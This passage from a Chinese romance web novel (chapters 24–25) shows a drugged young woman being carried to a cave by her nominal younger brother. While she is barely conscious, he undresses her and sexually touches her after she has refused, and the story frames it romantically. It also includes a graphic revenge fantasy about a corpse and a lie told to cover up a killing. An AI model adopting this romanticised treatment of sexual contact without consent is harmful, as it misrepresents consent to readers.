姜芸薇刚走了一步,身子蓦地踉跄了一下,体内突然毫无预兆的涌起了一阵汹涌而来的陌生热意,顺着四肢百骸蔓延开来,浑身突然软的如同一汪春水,完全使不上力气。 她蹙紧了秀眉,额间细汗涔涔,就连呼吸间都涌动着滚烫的热意,“阿珣,我不知道怎么了,突然身子好难受。” 季珣停下脚步,回头望她。 只见姜芸薇的脸上呈现着不正常的红晕,眸中如同蕴着一汪春水,潋滟的快要溢出来。 季珣只看了一眼,便明白究竟是怎么回事了。 前世,那些妃子为了争宠,经常会用这种肮脏的手段,在宫中待久了,就什么都见怪不怪了。 姜芸薇她这是被下情药了。 想到这,季珣眸中掠过一抹嗜血的寒意。 方源确实死的太便宜了。 就应该碾碎他的骨头,一寸一寸剥下他的皮肉,再将尸体剁碎了喂狗。 “阿珣,好难受,我是不是快死了。”姜芸薇嗓音发抖,睫毛湿漉漉的颤着,浑身的每一寸肌肤恍佛都在燃烧。 季珣眸光晦暗如深海,他伸出手,替她拂开汗湿的鬓发,语调平静,“阿姐,你中了情药。” 指尖不经意间触碰到她的肌肤,冰凉的触感恍若一泓清泉,浇熄了体内如同烈火焚身般的燥热。 姜芸薇混沌的脑子清醒了几分,羞耻感瞬间像潮水一般将她吞没,她本来就脸皮薄,平时连和生人说话都不敢大声,如今却中了这种花街柳巷中才会有的霪秽药物,还是当着弟弟的面,心中自然又羞又可耻。 她紧咬着下唇,唇瓣被咬出了几道殷红的血痕,腥甜的血腥气充斥舌尖,眼尾染着一抹秾丽的绯色,一番话更是说的断断续续,“阿珣,你别看我……,还是别管我了,快走吧,倘若有人过来,看到……方源的尸体就完了。” “阿姐现在这个样子,我如何能安心离开?” 季珣垂下眸子,纤长浓密的睫毛在冷白如玉的脸上洒下一片阴影。 姜芸薇的意识逐渐涣散,眼前像是蒙了一层雾气,看什么都是模糊重叠的幻影,就连眼前之人口中在说些什么,她都听不清楚了。 太热了。 体内像是有一把火在燃烧,将她的理智蚕食的一干二净,一股难以忍受的痛楚将她整个人吞没。 季珣看着她此刻的模样,目光慢慢变得灼热起来。 她束发的木簪不知何时掉在了地上,如瀑的青丝垂顺的披散在肩头,杏眸中氤氲着水雾,口中发出娇软的嘤咛声,恍若堕入凡尘的女妖一般,纯稚而又妖娆,勾人而不自知。《 》 24、第24章 前世,季珣对风月之事,可谓是刻入骨髓的厌恶。 官场上人情往来,应酬颇多,经常有人为了巴结讨好,给他送上绝色美人。 他从未接受过。 他向来鄙薄那些为皮相美色所惑的蠢物,于他而言,男女情事乃是这世间最不堪最污浊的事情,两具赤条条的身子滚在一处,姿态黏腻粗鄙,与市井间苟合的牲畜无异。 他无法接受和陌生人这样亲密。 之前府中也曾有丫鬟投怀送抱,故作柔弱姿态攀附,在他看来,她们的柔媚和逢迎,都带着虚伪的算计,哪怕仅仅只是不小心的肢体碰撞,都令他厌恶不已。 然而这一刹那,看着姜芸薇云鬓散乱,罗襟半解,檀口微张,喘息微微的模样,他多年来引以为傲的自制力,却瞬间被击败的溃不成军,血脉之中恍若有一只困兽在低声咆哮着翻滚着、试图想要冲撞牢笼。 他竟荒谬地想要上前。 想衔住她柔软娇嫩的唇,尝一尝究竟是什么滋味,想咬上她白皙的锁骨,留下独属于自己的印记,想听她在自己身下呜咽,用颤抖的嗓音一声声唤他的名。 想在她的每一寸肌肤上都烙上属于自己的印记。 这念头如毒蛇窜起,如此肮脏,惊得他浑身战栗,身上涌起一阵陌生的痒意,酥酥麻麻,恍若过电一般——他竟也成了自己最不齿的禽兽。 分明他从前最厌恶男女之事。 更何况眼前之人乃是他名义的姐姐。 曾经他打心眼里看不起的姐姐! 然而,自从重生以后,他的喜怒哀乐,他的情绪牵动,那些久违的嫉妒,恐慌,爱怜之情,却无一例外全都是由姜芸薇而产生的。 这是一种全新的生命体验,他并不反感,相反,他甘之如饴地品尝着这份见不得光的觊觎感情所带来的、扭曲的快意。 姜芸薇是他的姐姐。 她会为他缝制衣衫,他身上脚下穿着的,一针一线,皆是出自她的手,她会每日来书院为他送饭,风雨无阻,她会用关心的眼神凝望着他,在她力所能及的范围内,给他最好的东西。 这些事情,她不会对旁人做。 思及此,季珣心中窜起一阵隐秘的快意,黑眸中翻涌着浓烈的占有欲,像是饿了许久的野兽,窥见了心仪的猎物,眼底燃烧着汹涌的渴望。 阿姐,你生命中所有的温暖与光亮,合该只属于我一人。 * “阿珣。” 药效越来越浓烈,姜芸薇被烧的理智全无,浑身滚烫如同烙铁,身子更是紧绷的就像是一张被拉到极致的弓,恍若下一秒就要失控,她唇瓣翕动,口中发出无意识的呢喃。 “阿姐,我在。” 季珣将外袍脱下,裹在姜芸薇的身上,紧接着,一把将她打横抱了起来。 姜芸薇下意识的攀着他的脖领。 他的身上很凉,宛如冷玉一般。 恍若渴水之人寻得一片绿洲,她脸颊情不自禁的贴近,蹭了蹭他的脖领,他身上清冽的气息传递过来,瞬间抚平了她身上的燥热,令她忍不住舒服的喟叹了一声,下意识的往她怀里钻。 季珣脚下步伐一顿,眸色晦暗的可怕。 怀中女郎身上的甜腻香气缠上鼻尖,如同一簇灼热的火苗钻进心脏里,啃噬着他的血肉。 他低头看着她苍白的小脸,泛红的眼尾,看着她因疼痛难耐而微微蹙起的眉头,看着她蒙着一层水雾般湿漉漉的眸子,心底的欲望与怜惜瞬间交织在一起,在胸腔翻涌不息。 “阿姐,且忍一忍,我先带你离开此处。” 季珣嗓音沙哑的厉害,他能够清晰的感受到怀中躯体的滚烫和柔软,她身上炙热的温度似乎隔着一层薄薄的衣料,传递到了他的身上,令他的心也变得躁动不安。 宝安寺建于群山之中,此处正处于山间的一间石屋当中,暮色四合,远山的轮廓逐渐变得模糊不清,只余下一道深黛色的剪影。 天快要黑了。 许娘子得知姜芸薇失踪,定然会选择去报官,如今整个寺庙的人想必都在寻她。 他们很快就会寻到这个地方。 也不能就这样下山,倘若这副模样出去,阿姐的名节便也就彻底毁了。 更何况,阿姐中的药得解,这种药药效极为霸道,中毒者如同万蚁噬骨、烈焰焚身,不是单单靠忍耐,便能够硬抗过去的。 思及此,季珣毫不犹豫的抱着姜芸薇往山上的方向走去。 被山间的凉风一吹,姜芸薇混沌的思绪清醒了几分,她颤颤巍巍的睁开眼,瞧见自己此处的境地后,心中霎时被羞臊难堪的情绪所填满, 她攥紧手指,指甲用力的掐着掌心的嫩肉,几乎要嵌进肉里,直到一阵尖锐的疼痛袭来,这才令她清醒了几分。 察觉到她的异常,季珣蹙紧了眉头,猛的一把扣住她的手掌。 只见她白皙细嫩的手上,赫然浮现着几道掐痕,鲜血顺着掌心蜿蜒而下,那殷红的颜色,刺的他眼睛生疼。 “阿姐,你这是做什么?” 见她这般伤害自己,季珣眸中不自觉染了一丝怒意。 “阿珣。”姜芸薇唤了他一声,她的嗓音在药物的作用下,多了几丝黏腻的柔媚,像浸了蜜糖的水,就连吐息间都带着灼热的温度。 甫一出口,却被自己的声音惊了一跳,这样的声音,分明是话本子里面那些不正经的女子才会发出的,她居然发出这样羞人的声音—— 姜芸薇脸颊瞬间烧的更烫,她羞臊的无地自容,就连声音都染了一丝哭腔,“阿珣,你别管我了,我这副模样,实在是太不知廉耻了……。” “阿姐,这不是你的错,你只是中药了。”季珣循循安慰着她,温热的气息拂过她的耳畔,他的语调温柔,透着几分诱哄蛊惑的意味,“乖,不要再伤害自己了,我先寻个地方落脚,再设法帮阿姐解了这毒。” 那片刻的清醒很快又被汹涌而来的情潮所淹没,喉咙干涩的发痛,浑身的每一寸血液似乎都在叫嚣着要冲破肌肤,她感觉自己快要被烧死了,都连骨髓都透着灼人的疼。 季珣抱着她的手臂紧了紧,他加快了脚步,终于在天黑之前寻到了一个山洞,勉强可以落脚。 那些人一时半会应该找不到这里,只能等到姜芸薇解了毒,再离开此处。 季珣在角落点燃了一堆柴火照明,又将外袍垫在地上,这才扶着姜芸薇慢慢躺了下去,她此刻浑身都软的像是一滩水,没骨头似的任由他摆弄。 橘红色的火光摇曳晃动,姜芸薇蜷缩在地上,额角不断沁出冷汗,殷红的唇瓣早就已经被咬的破皮红肿,在火光下,透着靡丽的艳色,她的声音带着浓浓的哭腔,沙哑的几乎听不清楚,“我应该是快不行了……阿珣……” 她的手无意识的攥着季珣的手腕,似乎想要抓住最后一根救命稻草,然而,他身上那丝凉意却再也无法驱散她体内不断涌出的蚀骨燥热。 显而易见,她已经快要坚持不下去了。 “阿姐,你中的药必须尽快解了。” 季珣指腹带着微凉的温度,拂过她泛着热意的脸庞,那滚烫的温度似乎沿着指尖,一路蔓延至心底,浑身泛起一阵细密的酥麻。 他的喉结不自觉滚动了一下,嗓音因情动而添了几分沙哑,“不如,让我来帮你吧?”《 》 25-30 第25章 第25章 阿姐便这般厌弃我吗? 姜芸薇压根听不清楚他在说些什么。 眼前的一切都逐渐变得混沌, 模糊,恍若隔了一层厚厚的白雾,眼皮沉得像是灌了铅, 她费力的掀开眼, 却只能看到一个朦胧的影,像是一幅没干的水墨画,虚虚实实, 看不真切。 季珣自然也没指望她能回答。 他指尖如流云拂过, 将她身上单薄的外衫褪去,眨眼间, 便只余下一件鹅黄色的小衣。 烛火摇曳,她白皙的肌肤在火光下泛着珠玉般的细腻光泽, 削肩细腰, 腰肢盈盈一握, 胸前的起伏曲线恍若被月光浸染的玉色山峦, 汗珠坠在身上, 又添了层莹润的亮。 她身上的幽兰香气被热意蒸得愈发浓烈,如影随形的缠绕在鼻尖,令他呼吸粗重了几分。 “阿姐。”季珣将她揽在怀中,嗓音极轻的呢喃出声,似乎害怕惊扰了什么。 一个微凉带着湿意的吻落在她的额间。 这触碰太轻,如同一片雪花飘落,浇不灭心中燎原的火。 不够, 压根不够,他想要更多。 季珣贪婪的目光落在她嫣红的唇上,眼神暗沉,呼吸急促, 分明中药的人乃是姜芸薇,然而这一刻,他却感觉自己的理智也在一寸寸被侵蚀。 他扣住姜芸薇的后颈,力道不重,却带着不容抗拒的掌控欲,旋即,他迫不及待的俯下身子,生涩的吻上她的唇瓣。 她的肌肤太烫了,他的唇甫一贴上去,那滚烫的热意便传递到了他的身上,瞬间燎遍四肢百骸,令他的心口都在微微战栗。 季珣贪恋的舔舐着她的唇瓣,强势蛮横的撬开她紧咬着的牙关,一寸寸深入攻城略地,汲取掠夺她口中的甘甜气息。 两人唇齿交缠,彼此之间呼出的气息都是热的,恍若滚烫的岩浆。 姜芸薇意识沉在无边的混沌中,那万蚁噬心般的灼热难耐在唇齿交融间慢慢得到了纾解,然而,紧接着,体内却又生出更深更隐秘的渴求。 钻心的痒意在四肢百骸横冲直撞,姜芸薇遵循着身体的本能,一双藕节般的臂膀灵蛇般缠上他的腰,手指无意识地拉扯着他的衣襟,口中含糊不清的哼唧,“好难受,帮帮我……” “阿姐。”季珣面上神情依旧波澜不惊,他动作轻柔地捧起她的脸,眼神中却带着滚烫的侵略意味,嗓音裹着热意落在她颈侧,“你知道我是谁吗?” 这句话恍若一颗石子,投入姜芸薇混沌的意识中,她大脑一片空白,压根无法认真思考,就连耳边的声音,都如同远在云端,身体里的药劲像藤蔓一样紧紧缠着她的骨头,就连骨头缝里都泛着痒意。 她眸中溢满了水雾,喉间 发出细细碎碎的呜咽声,恍若猫儿似的,瞧见她这个反应,季珣便已经知道答案。 他眸色冷了冷,箍着她腰身的力道一紧,倘若今日是别人在场,她也会这般吗?对别人投怀送抱? 理智告诉他,阿姐如今中了药神志不清,这不能怪她,然而心底深处却还是控制不住翻涌起一阵怒意。 姜芸薇难受的睫毛上都沾染了一层水雾,季珣俯下身,惩罚般的用牙齿厮磨啃咬她锁骨处那颗朱红色的小痣。 他能够清晰的感觉到她颈间的脉搏声,鲜活、急促、剧烈,和他胸腔中的心跳声交织在一起,分不清究竟是谁的。 姜芸薇难耐的仰起脖颈,露出修长而脆弱的线条,她秀眉紧蹙,足尖绷得笔直,脸上神情似痛苦,又似欢愉,双手牢牢攥着季珣胸前的衣襟,此刻的她,就恍若一尾脱水的鱼,身上的每一寸肌肤,都在叫嚣着汲取生机。 季珣指尖停留在她身上鹅黄色的小衣系带处,轻薄的衣衫被汗水浸得有些黏腻,肌肤相触间,她身上滚烫的温度灼得他心尖一烫。 指尖轻轻一勾,那系带便顺着腰间滑落,她如同羊脂白玉般细腻光滑的肌肤在烛光下,泛着一层柔润的光泽。 “阿姐,你且再忍一忍。”季珣呼吸不自觉粗重了几分,眼尾染上了一层浓重的暗色,“我这就帮你。” 他温热的唇瓣再次辗转落下,恍若燎原的火,燃过她的颈侧、耳后,一路灼烧而下,带起一阵细密而陌生的战栗。 夜风拂过,两人的墨发交缠在一起,被跳跃的火光映照在山洞的墙面上,恍若一对依偎的眷侣,亲密无间,牢不可分。 姜芸薇双手藤蔓般缠着他的肩膀,本能的回应着他炙热的吻,心间燥热被浇熄了几分。 山洞内逼仄昏暗,不知名的情愫在空气中逐渐发酵蔓延开来,大有愈演愈烈的趋势。 正在这时候,一道惊雷“轰隆”在耳边炸响,闪电划破天际,照亮了山洞内旖旎暧昧的这一幕。 大雨瓢泼而下,打在树叶上,发出淅淅沥沥的声响,地面激起层层水花,空气中多了几分刺骨的寒意。 夏日的雨,总是来的这般突然又猝不及防。 一股凉意顺着裸露在外的肌肤蔓延开来,姜芸薇混沌的脑海骤然清明,如同被一盆凉水从头浇到尾,她脸色煞白,眼底的意乱情迷刹那间褪去,只剩下满满的惊惶和无措。 她这是在做什么?竟然和季珣贴的这么近? 而且,上半身竟不着寸缕。 羞耻感如潮水一般涌了上来,将姜芸薇整个人吞没,她双手环抱住胸前,单薄的身子瑟瑟发抖,如同被雨水打湿的花,“阿珣,我们不能这样……” 季珣眸中还染着未散去的欲,他的嗓音透着丝喑哑,“阿姐,你的药必须解了,否则,你会生不如死的。” 山洞外的雨声越发急促密集,雨珠噼里啪啦的砸在洞口的岩石上,飞溅起层层水珠,湿冷的风从洞口灌了进来,驱散了几分心头的燥热。 姜芸薇蜷缩在角落里,她死死的咬着嘴唇,泪水沿着脸颊滑落下来,她的声音几乎是从齿缝中挤出,恍若濒死的幼兽,“不,阿珣,不能这样,否则,我宁愿一死!” 看着她脸上的决绝和隐忍之色,季珣眸底掠过一抹暗色,他垂下眼帘,神情透着一股难以言说的落寞,“阿姐便这般厌弃我吗?” “不是,阿珣,我不是厌弃你,只是我们不能,真的不能——”姜芸薇眸中惶惶然嗪着水雾,她死死的攥着身下的一块碎石,直到掌心鲜血淋漓,依然不肯放手,单薄的身子在寒风中不受控制的颤抖着,令人不由自主心生怜惜。 季珣胸腔蓦地涌起一阵无名怒火。 这些所谓的贞洁清白,于她而言,就那般重要吗?命都快要没了,还在乎那些?他从未有一刻,这般痛恨她的迂腐和古板。 他蓦地上前,一把夺过她手中握着的碎石,用力扔在地上。 她的掌心早就已经伤痕累累,鲜红的血液顺着指缝流下,滴落在地面上。 那抹殷红刺痛了他的眼,心尖的怒火霎时被浇熄了大半,季珣叹了口气,他扣住姜芸薇的手腕,又随手扯下衣襟上的一块布料,动作轻柔而又缓慢的缠在她掌心的伤口处,“阿姐,无论如何,都不要伤害自己的身体。” 姜芸薇已经难受的说不出话来,只能从喉间发出细碎的哭腔,泪水不受控制地涌出,在眼眶里盈盈晃动,她纤长的睫毛都被眼泪濡湿,眼尾通红,看着可怜极了。 季珣心尖像是被一双无形的手攥紧,泛起一阵细密而又尖锐的刺痛。 他低声,“阿姐,既然你不愿意,那我用别的方式帮你。” 别的方式? 姜芸薇迷蒙的眨了眨眼,不明白他所言何意。 不等她想明白,最后一丝清明也被汹涌而来的情潮所吞噬,耳边的声音逐渐变得模糊而遥远,意识如同被一层浓雾裹住,她彻底放弃了抵抗,任由自己在谷欠海中沉沦。 雨越下越大,在山洞外积起浅浅的水坑,狂风裹挟着雨珠呼啸着卷来,树叶的沙沙声,混合着风雨声,各种声响交织在一起,奏响了一曲动人的乐章。 而此时,山洞内却暖融如春。 姜芸薇面色潮红的靠在季珣怀中,眼底的迷离尚未完全褪去,呼吸急促而凌乱,她整个人像是在沸水之中泡过,汗水浸湿了身上的衣衫,贴在身上,黏腻的令人不适。 体内那股子灼烧般的燥热渐渐褪去,取而代之的是浑身脱力的酸软,她轻轻喘着气,胸口起伏不定。 “阿姐,可觉得好些了?”季珣沙哑的嗓音在身后响起,温热的气息拂过她的耳廓,激起一阵陌生的战栗感。 姜芸薇这才后知后觉的反应过来,自己还倚靠在他的怀中,她连忙如惊弓之鸟般弹跳起来,挪到一旁的石块上坐下,几乎不敢看季珣的眼睛,磕磕巴巴,“好了。” 山洞外风雨飘摇,被冷汗浸湿的衣衫贴在身上,被夜风一吹,越发冰凉刺骨,寒意顺着毛孔往里钻,姜芸薇下意识的拢了拢衣襟。 季珣将一件衣衫递了过来,“那就好,夜里天凉,阿姐披上我的衣衫吧,别着凉了。” 看着季珣修长如玉的手,姜芸薇脸颊霎时火辣辣的烧了起来。方才他就是用这双手…… 她从来不知道,竟然还能用这样的法子。 实在太羞人了。 想到这,姜芸薇脸更红了,像是煮熟了的螃蟹,幸好山洞内昏暗,季珣看不清楚她脸上的神情。 * 季珣目光肆无忌惮的在姜芸薇的身上流连。 她此刻正低垂着脑袋,只露出一截修长白皙的雪颈,锦缎般乌黑的长发披散在肩头,遮住了泛着红晕的脸颊和不自在的眼神。 这副娇怯羞涩的模样,让人忍不住想要狠狠其欠负她。 季珣的眸光暗沉沉的,像是一张深邃的网,浑身所有血液似乎一瞬间齐齐向下腹涌去,热意顺着四肢百骸蔓延,他掌心紧握成拳,用力克制着将她重新揽入怀中的冲动。 指尖似乎还残留着她身上甜腻的香气,他回味着方才指尖那一抹柔软的触感,呼吸渐渐变得粗重了几分,眼底是浓得化不开的幽暗。 饱受情谷欠折磨之人,又何止她一个! 火光荡漾,两人都没有说话,耳边只余山洞外的雨水淅沥声。 这样一番折腾下来,姜芸薇如今只觉得累极了,疲惫感如同潮水一般汹涌而来,将她整个人吞没,眼皮沉得像灌了铅,她倚靠在身后的洞壁上,小鸡啄米似的,脑袋不由自主的一点一点。 “阿姐若是困了,便合眼睡一会吧,此处有我守着。”黑暗中,季珣低沉的嗓音蓦地传了过来,带着一点儿水汽浸润过的微哑。 姜芸薇清醒了几分,她低垂着脑袋,没有应声。 今日发生的事情实在太过惊世骇俗,她一时还不知道该如何面对季珣。 倘若不是季珣及时赶到,只怕她难逃一劫。 方源实在恶毒,竟然给她下那种药物,他这是想要逼死她。 阿珣琼枝玉树般的一个美少年,为了救她,竟然用手…… 想到这里,那些刻意想要遗忘的片段反而争先恐后的涌入脑海—— 他宽厚的掌心覆在她腰间时灼热的温度,呼吸擦过耳畔时带来的战栗感,以及那些暧昧的喘息和低吟声。 身体内似乎还残留着他指尖的温度。 姜芸薇越发觉得羞愧难当,耳尖红得像是能滴出血来,连带着脸颊也烧得滚烫。 她对不起阿珣。 昨夜的她,在药物的作用下,变得连自己都感到陌生。 幸好,还未做到最后一步,还没有酿成大错,一切都还有转圜的余地。 昨夜的一切,就当做是一场梦吧。 梦醒了,便什么都不记得了。 许是太过疲累,后半夜,姜芸薇竟然真的睡了过去。 她闭上眼没多久,一道身影蓦地来到她面前,高大的身形在幽暗的夜色中恍若鬼魅,将她娇小的身躯完全笼罩在身下的阴影里。 季珣蹲下身子,目光落在姜芸薇熟睡的面庞上,他伸出手想要触碰她的脸颊,似乎害怕惊扰了什么,指尖动作又顿住,停留在半空中。 冷风拂过,烛火在她脸上晃动跳跃,她长而密的睫长偶尔簌簌颤动两下,他的心便也跟着晃了晃,他的眼神浓稠如墨,如有实质的目光一遍遍描摹她的眉眼,眸底翻涌着毫不掩饰的贪恋和觊觎之色,就连周围空气都瞬间变得粘稠、滚烫起来。 “阿姐。”季珣蓦地俯下身子,将脸颊埋入她的颈弯,亲昵的蹭了蹭。 他温热的吐息喷洒在姜芸薇的肌肤上,她似是感到有些不适,在睡梦中秀眉轻轻蹙了蹙。 倘若姜芸薇在这个时候醒过来,瞧见他这副模样,定然会惊骇异常。 他喉结不自觉的滚动了两下,心底深处竟当真生出一丝隐秘的期盼。 倘若姜芸薇真的发现了,发现她心爱的弟弟,既然大逆不道的觊觎着她这个姐姐。 她会怎么想? 她那么爱他,会舍得怪他吗? 季珣愉悦的弯唇笑了起来。 * 山洞外天光大亮,日光从洞口缝隙照射进来,像是铺了一层暖玉,昨夜被雨水冲刷过的地面早已干涸,岩石上的水珠被日光一照,晶莹剔透,分外耀目。 姜芸薇悠悠醒转,浑身酸痛的厉害,尤其是掌心处,传来一阵尖锐的刺痛。 她蹙了蹙眉,低头将手掌处包扎伤口的布条三两下扯开,布条被暗红的血渍浸透,她白嫩的掌心皮肉翻卷,看着狰狞可怖。 姜芸薇现在无暇顾及这些,她抬起眼帘,视线环顾一圈,却见山洞内此刻空无一人,地上还残留着昨夜的篝火,她身上披着件月白色的外袍,是她亲手为季珣缝制的。 只是,外袍的主人,此刻却不在这里。 姜芸薇心中一慌,她连忙站起身,疾步朝着洞门口的方向走去。 刚走了两步,便见季珣从山洞外走了进来。 他身上只穿着一件雪白的中衣,长发披散在肩头,阳光在他周身笼罩流转,为其镀上一层暖金色的光晕,衬得他如月下谪仙,眉骨清隽,气质不凡。 姜芸薇难得呆了呆,心中突然生出一丝异样的感觉。 她六岁的时候就被季母捡到,当时季珣才不过四岁,两人可以说是从小一起长大。 然而,不知从何时起,记忆中那个单薄清瘦的少年,身姿已经变得这般高大挺拔了,恍若生于山巅的青松,为她遮风挡雨,撑起一片安宁。 姜芸薇忽然觉得有些愧疚,她这个当姐姐的,非但没有保护好弟弟,反而总是让弟弟为了她的事情费心。 她仰起脸望着他,嗓音轻柔,“阿珣,你去哪里了?” “我去摘了些草药,阿姐,你手上的伤口必须处理一下。” 季珣手中揣着一把鲜绿的药草,说话间,他走到姜芸薇的面前,温柔又强势的握住她的手腕。 他指尖炙热的温度传递到了她的手上,姜芸薇睫毛颤了颤,昨夜那些荒唐的记忆不受控制的又涌入脑海中,她脸颊不禁有些发烫。 季珣并未注意到她的异常,他将药草在指尖揉碎了,再动作轻柔的将药汁敷在她的掌心。 药汁碰到伤口时,泛起一阵细密的刺痛,姜芸薇手掌微微颤动了一下。 季珣手中动作一顿,他抬起眼,眸子如同玉石一般,温润暖融,“阿姐忍忍,上了药好得快。” 被他这样的眼神看着,姜芸薇分外不自在,她垂下脑袋,含糊道:“嗯,多谢阿珣。” 待到上完药后,两人没有在此处久留。 山间的道路陡峭难行,晨雾还未散尽,眼前的山峦恍若隔了一层纱,影影绰绰看不清楚,青黛色的树影层层叠叠,树林中偶尔传来几声鸟鸣,空气中浮动着草木的清香。 季珣走在前面,姜芸薇跟在他的身后,两人都没有说话,也默契的再也没有提及昨晚的事情,就当做什么都没有发生过。 昨夜下了场大雨,此刻地面上分外湿滑,石块边缘长满了青褐色的苔藓,姜芸薇提着裙摆,走的分外小心。 不知不觉间,便落后了季珣许多。 季珣停住脚步,回头望着她。 风拂过她鬓边的碎发,她白皙的脸庞沐浴在清晨的阳光下,宛如一块剔透的美玉。 季珣衣袍被风吹的猎猎作响,他朝着她伸出手,“阿姐,这段山路险峻,我牵着你走吧,若是崴了脚就不好了。” 他的腕骨清瘦,骨节分明,肤色是常年不见日光般的冷白,甚至隐约可见淡青色的血管脉络。 然而,姜芸薇却知晓,这看似纤弱、无力的指骨中,其中蕴含着的力道和狠劲。 看着季珣温和平静的眸子,她迟疑了一会儿,还是将没有受伤的那只手轻轻搭在他的掌心。 季珣说的不错,这山路难行,以她的速度,还不知道要走到什么时候,况且,她也想早些回到家中,沐浴一番,身上实在是黏腻的难受。 季珣五指顺势收拢,严丝合缝的将她的手完全包裹住,他的掌心宽厚、温热,指腹处带着常年握笔留下的薄茧。 姜芸薇从小到大,从还未与男子这般亲近过,哪怕眼前之人,乃是她从小一起长大的弟弟,她心中不禁有些紧张,掌心便不由自主的沁出了细细密密的一层薄汗。 那湿黏的触感令她越发羞赧,下意识的想要抽回手,却反而被他握的更紧。 季珣回头看她一眼,他的嗓音温润平和,“阿姐,走路专心些。” 姜芸薇红着脸讷讷应了一声。 * 走了大概一个时辰,才总算是来到了镇上,清晨正是这条街上最热闹的时候,大街上人来人往,道路两旁摆满了各种小摊贩,各色小吃琳琅满目,叫卖声此起彼伏。 两人都没有吃早餐,腹中饥肠辘辘,待到路过一家包子铺时,季珣停住脚步,“阿姐在此稍候片刻,我去买几个包子。” 姜芸薇点了点头,站在铺子门口等他。 正在这时候,巷子口突然传来一阵急促沉重的脚步声,打破了这喧闹繁华的烟火气息。 众人循着声音来源处望去,只见一队腰间配着长刀,身穿藏蓝色官服的官差,正面色凝重,神情肃穆的朝着这边走来。 见状,百姓们纷纷回避退让,姜芸薇也连忙跟着人流,站到了一旁。 为首的那个官差面色冷峻,目光如刃,扫过站在两旁的百姓,冷喝一声道:“昨夜在宝安寺半山腰的木屋中,发现了一句尸体,你们若是有看到可疑之人,立马上报,倘若有知情不报、包庇藏匿者,以同罪论处。” 话音落下,官差即刻四面散开,分头搜捕起来,大街上方才还热闹的气氛眨眼间就变得紧张凝重起来。 姜芸薇浑身的血液恍若在一瞬间凝固住了,她如坠冰窖,整个人手脚冰凉 ,恐惧如潮水一般涌来,将她吞没。 怎么办?官差在抓捕杀死方源的凶手,倘若他们查到了季珣身上…… 一想到这个可能性,恐惧瞬间攫住了她。 眼看着一个官差正要朝着她这边的方向走过来,姜芸薇一颗心顿时狂跳不止,仿佛要从胸腔里跳出来。 她吓得浑身都在发颤,好在那个官差只是扫了她一眼,便转过身去搜查其他地方了。 姜芸薇如释重负的松了口气,此地不宜久留,他们必须赶紧离开。 她转过头,正想要去唤季珣,却发现方才还站在那里的人,此刻竟然不见了。 她心中一紧,连忙四处张望,慌乱的在人群之中穿梭,试图寻找到季珣的身影。 正惊惶无措之际,后背突然被人拍了一下。 姜芸薇回过头,便瞧见季珣正好端端的站在自己身后。 她面色一喜,下意识的捉住他的手,“阿珣,你去哪里了,你没事吧?” “阿姐,我去对面买油饼了。”季珣晃了晃手中拎着的两个油饼,瞧见姜芸薇神情有异,他蹙了蹙眉,“阿姐面色不太好看,发生何事了?” 姜芸薇心中又急又慌,她刚想开口,似乎想到了什么,又猛的止住话头,目光有些警惕的四处看了看,声音压的极低,“阿珣,我们快些回去吧,有什么事情回去再说。” 季珣定定看她半晌,才点了点头,“好。” 两人不再逗留,匆匆忙忙回到了小院中。 刚走到屋门口,隔壁住着的许娘子便瞧见了他们。 许娘子连忙打开院子门走了出来,她围在姜芸薇面前,将她从头到脚打量了一番,见她虽然形容狼狈,但人却是安然无恙,这才彻底松了口气,“哎哟,姜姑娘,你昨夜一晚上都去哪里了?我真是担心死你了!” 闻言,姜芸薇浑身一僵。 倘若说出实情,那么许娘子肯定会怀疑杀死方源的凶手正是他们姐弟两人。 然而,面对许娘子关切的眼神,让她说谎骗人,她一时之间也做不到,大脑仿佛在瞬间宕机了。 姜芸薇别无他法,只好咬着嘴唇,求救般的看向季珣。 看着她水雾潋滟的眸子,无措的神情,季珣一颗心恍若在温水之中浸泡过一般,酸酸涨涨的。 他的阿姐,还真是单纯的可爱。 就连骗人都不会。 这样的好性子,倘若遇到恶人,恐怕只会被吃的渣都不剩。 “阿姐她昨日在山间迷路了,后半夜又下起了雨,便寻了个山洞落脚,一直等到天亮雨停了才回来。”季珣淡淡开口,他说起谎来,连眼睛都不眨。 瞧见他,许娘子心中不禁有些发怵。 昨天季珣那个眼神,她现在回想起来还觉得瘆得慌。 不知为何,她心中莫名有种强烈的预感,倘若姜芸薇真出了什么事情,她这个弟弟,绝对不会放过她! 许娘子拉着姜芸薇的手走到一旁,小声说道:“昨夜,一直寻不到你,我便去报官了,结果你猜怎么着,官差居然在宝安寺发现了一具尸体,听说死的人还是云隐书院的学生,你不知道,我这一晚上都提心吊胆的,生怕你出什么事情。” 闻言,姜芸薇脸上血色瞬间褪去,她身形晃了一下,险些没站住。 许娘子诧异的望着她,“姜姑娘,你怎么了,为何脸色突然这么难看?” 季珣蓦地走上前,虚虚揽住姜芸薇的肩,“阿姐她昨日吹了风,有些受了风寒,现在身子不适,恕不奉陪了。” 许娘子一听,连忙道:“怪不得脸色这么难看,那快些回去休息吧,风寒睡一觉发发汗就好了,再煮碗姜汤喝一喝。” 季珣礼貌的颔首道谢,继而,虚扶着姜芸薇朝着屋内的方向走去。 瞧着他们两人的背影,许娘子心中莫名浮起一阵微妙的怪异感。 姜姑娘这个弟弟,似乎对她过分关心在意。 * 一直等回到家中,将屋门锁上,姜芸薇这才惊惶的开口,“阿珣,怎么办,官差已经在全镇搜捕凶手了,他们会不会查到我们身上。” 望着她眼下的青灰色,季珣嗓音温和的说道:“阿姐,你昨夜都没有歇好,快回房间再睡一会吧,至于其他的事情,不必担心,一切有我。” 瞧见他这副不急不缓的模样,姜芸薇叹了口气,心中有些无奈。 阿珣似乎总是如此,哪怕泰山崩于前,也是面不改色,无论处于何种境地,都能够始终保持冷静。 她这个做姐姐的,也应该像弟弟学习才是。 这样一想,心中的焦躁和惊惶顿时散了大半,姜芸薇勉强露出抹笑容,轻轻点了点头。 她暂时不去想此事,转而,迫不及待的去灶房烧了热水沐浴。 热水烧好后,姜芸薇褪去衣衫,半个身子都泡在浴桶中,袅袅的热气升腾而起,在她的面容上氤氲出一层薄薄的雾气。 暖意浸过皮肉,周身的酸胀疲惫感瞬间消散了大半,紧绷的心弦也逐渐放松下来,她忍不住舒服的喟叹一声。 腰腹部有一道青紫色的痕迹,是她挣扎间,被方源一脚踢在了上面,轻轻摸两下,便有针扎般的钝痛袭来。 姜芸薇抬手揉捏着有些酸胀的肩膀和腰部,目光无意间扫过胸前,整个人顿时怔住了。 只见她锁骨正下方,靠近胸口的位置,有一道暧昧而又清晰的红色痕迹,在雪白的肌肤上分外刺眼,恍若雪地里绽放的红梅。 